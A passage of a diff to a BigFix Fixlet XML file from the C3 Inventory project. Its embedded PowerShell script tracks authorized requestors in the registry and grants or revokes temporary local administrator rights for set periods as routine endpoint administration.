-        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-
-        #Grant User Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /add
-    }
-
-    if ($Admin -and $Revoke) {{
-        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
-
-        #Revoke User's Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /delete
-
-        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
-        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
-
-        #Copy from Current and add timestamp+revoke time
-        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
-    }
-
-}
-_end_
-
-move __createfile rightshandler.ps1
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
-]]></ActionScript>
-    </Action>
-    <Action ID="Action25222">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to convert all permanent administrators with&amp;nbsp;authorized requestors permission to having temporary administrative rights for 1 day.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// +Authorized Requestors who are Administrators
-// -Current Temporary Administrators
-
-parameter "SIDS"="{concatenations ";" of elements of (intersection of ( set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current" of x32 registry; set of component strings of (sids of members of local group "Administrators") whose (exists user of it)) -  set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry)}"
-parameter "TimeStamp"="{now}"
-parameter "Start"="{now}"
-parameter "Expiration"="{now + (1 * day)}"
-parameter "Switches"="-Grant -Admin"
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-delete __createfile
-delete rightshandler.ps1
-
-createfile until _end_
-param (
-    $SIDS,
-    $TimeStamp,
-    $Start,
-    $Expiration,
-    [switch]$Grant,
-    [switch]$Revoke,
-    [switch]$Admin,
-    [switch]$Requestor
-)
-
-function write-log {{
-    param (
-        $Message,
-        [ValidateSet("Verbose","Grant","Revoke")]
-        $Type = "Verbose"
-    )
-
-    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
-    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
-    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
-
-    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
-    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
-
-    write-verbose $Message
-    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
-}
-
-
-function new-registrystructure {{
-    param (
-        $Path
-    )
-    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
-
-    return "$Path"
-}
-
-if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
-    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
-} else {{
-    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
-}
-
-$Store = @{{
-    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
-
-    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
-    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
-    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
-
-    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
-    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
-    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
-}
-
-#Build Registry Store
-foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
-
-function get-UserFromSID {{
-    param (
-        $SID
-    )
-    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
-    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
-
-    return $objName.Value
-}
-
-foreach ($SID in $SIDS.split(";")){{
-
-    $UserWithDomain = get-UserFromSID $SID
-
-    if ($Grant -and $Requestor) {{
-        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
-
-        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
-
-        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Revoke -and $Requestor) {{
-        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
-
-        # Create \Expired Authorized Requestors\SID\TimeStamp
-        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
-        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
-
-        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
-        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
-        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Admin -and $Grant) {{
-        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
-
-        #Add User to Current Temp Admins
-        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
-
-        #Log User's Temporary Administrator Access
-        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-
-        #Grant User Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /add
-    }
-
-    if ($Admin -and $Revoke) {{
-        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
-
-        #Revoke User's Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /delete
-
-        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
-        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
-
-        #Copy from Current and add timestamp+revoke time
-        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
-    }
-
-}
-_end_
-
-move __createfile rightshandler.ps1
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
-]]></ActionScript>
-    </Action>
-    <Action ID="Action25223">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to convert all permanent administrators with&amp;nbsp;authorized requestors permission to having temporary administrative rights for 5 days.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// +Authorized Requestors who are Administrators
-// -Current Temporary Administrators
-
-parameter "SIDS"="{concatenations ";" of elements of (intersection of ( set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current" of x32 registry; set of component strings of (sids of members of local group "Administrators") whose (exists user of it)) -  set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry)}"
-parameter "TimeStamp"="{now}"
-parameter "Start"="{now}"
-parameter "Expiration"="{now + (5 * day)}"
-parameter "Switches"="-Grant -Admin"
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-delete __createfile
-delete rightshandler.ps1
-
-createfile until _end_
-param (
-    $SIDS,
-    $TimeStamp,
-    $Start,
-    $Expiration,
-    [switch]$Grant,
-    [switch]$Revoke,
-    [switch]$Admin,
-    [switch]$Requestor
-)
-
-function write-log {{
-    param (
-        $Message,
-        [ValidateSet("Verbose","Grant","Revoke")]
-        $Type = "Verbose"
-    )
-
-    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
-    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
-    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
-
-    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
-    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
-
-    write-verbose $Message
-    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
-}
-
-
-function new-registrystructure {{
-    param (
-        $Path
-    )
-    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
-
-    return "$Path"
-}
-
-if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
-    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
-} else {{
-    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
-}
-
-$Store = @{{
-    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
-
-    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
-    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
-    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
-
-    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
-    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
-    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
-}
-
-#Build Registry Store
-foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
-
-function get-UserFromSID {{
-    param (
-        $SID
-    )
-    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
-    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
-
-    return $objName.Value
-}
-
-foreach ($SID in $SIDS.split(";")){{
-
-    $UserWithDomain = get-UserFromSID $SID
-
-    if ($Grant -and $Requestor) {{
-        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
-
-        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
-
-        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Revoke -and $Requestor) {{
-        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
-
-        # Create \Expired Authorized Requestors\SID\TimeStamp
-        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
-        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
-
-        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
-        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
-        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Admin -and $Grant) {{
-        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
-
-        #Add User to Current Temp Admins
-        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
-
-        #Log User's Temporary Administrator Access
-        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-
-        #Grant User Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /add
-    }
-
-    if ($Admin -and $Revoke) {{
-        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
-
-        #Revoke User's Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /delete
-
-        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
-        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
-
-        #Copy from Current and add timestamp+revoke time
-        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
-    }
-
-}
-_end_
-
-move __createfile rightshandler.ps1
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
-]]></ActionScript>
-    </Action>
-    <Action ID="Action25224">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to convert all permanent administrators with&amp;nbsp;authorized requestors permission to having temporary administrative rights permanently.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// +Authorized Requestors who are Administrators
-// -Current Temporary Administrators
-
-parameter "SIDS"="{concatenations ";" of elements of (intersection of ( set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current" of x32 registry; set of component strings of (sids of members of local group "Administrators") whose (exists user of it)) -  set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry)}"
-parameter "TimeStamp"="{now}"
-parameter "Start"="{now}"
-parameter "Expiration"="{now + (1000000 * week)}"
-parameter "Switches"="-Grant -Admin"
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-delete __createfile
-delete rightshandler.ps1
-
-createfile until _end_
-param (
-    $SIDS,
-    $TimeStamp,
-    $Start,
-    $Expiration,
-    [switch]$Grant,
-    [switch]$Revoke,
-    [switch]$Admin,
-    [switch]$Requestor
-)
-
-function write-log {{
-    param (
-        $Message,
-        [ValidateSet("Verbose","Grant","Revoke")]
-        $Type = "Verbose"
-    )
-
-    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
-    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
-    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
-
-    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
-    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
-
-    write-verbose $Message
-    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
-}
-
-
-function new-registrystructure {{
-    param (
-        $Path
-    )
-    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
-
-    return "$Path"
-}
-
-if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
-    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
-} else {{
-    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
-}
-
-$Store = @{{
-    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
-
-    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
-    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
-    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
-
-    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
-    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
-    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
-}
-
-#Build Registry Store
-foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
-
-function get-UserFromSID {{
-    param (
-        $SID
-    )
-    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
-    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
-
-    return $objName.Value
-}
-
-foreach ($SID in $SIDS.split(";")){{
-
-    $UserWithDomain = get-UserFromSID $SID
-
-    if ($Grant -and $Requestor) {{
-        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
-
-        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
-
-        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Revoke -and $Requestor) {{
-        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
-
-        # Create \Expired Authorized Requestors\SID\TimeStamp
-        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
-        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
-
-        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
-        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
-        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Admin -and $Grant) {{
-        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
-
-        #Add User to Current Temp Admins
-        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
-
-        #Log User's Temporary Administrator Access
-        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-
-        #Grant User Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /add
-    }
-
-    if ($Admin -and $Revoke) {{
-        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
-
-        #Revoke User's Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /delete
-
-        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
-        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
-
-        #Copy from Current and add timestamp+revoke time
-        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
-    }
-
-}
-_end_
-
-move __createfile rightshandler.ps1
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
-]]></ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Convert Permanent Administrators who are Authorized Requestors to Temporary Administrators - Windows
+  ID       : 24158
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-05-02T07:25:25
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Convert Permanent Administrators who are Authorized Requestors to Temporary Administrators - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet cycles through all explicitely defined local administrators and marks them as temporary administrators. This can be used to expire administrative rights over time.</P>
+<P>This fixlet by itself does not remove their administartive rights when the expiration time passes. Removing their access requires&nbsp;the, "Invoke - Remove Expired Users from Temporary Administrators - Windows" fixlet to be run as a policy action.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[(number of elements of it > 0) of ( /*Authorized Requestors who have Permanent Administrative Rights */ intersection of ( /* Authorized Requestors who have any Admin */   set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current" of x32 registry;   set of component strings of (sids of members of local group "Administrators") whose (exists user of it)  ) /* Subtract Current Temporary Administrators */ - set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry  )]]></Relevance>
+    <Category>Temporary Administrative Rights</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to convert all permanent administrators with&amp;nbsp;authorized requestors permission to having temporary administrative rights for 1 hour.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// +Authorized Requestors who are Administrators
+// -Current Temporary Administrators
+
+parameter "SIDS"="{concatenations ";" of elements of (intersection of ( set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current" of x32 registry; set of component strings of (sids of members of local group "Administrators") whose (exists user of it)) -  set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry)}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + (1 * hour)}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
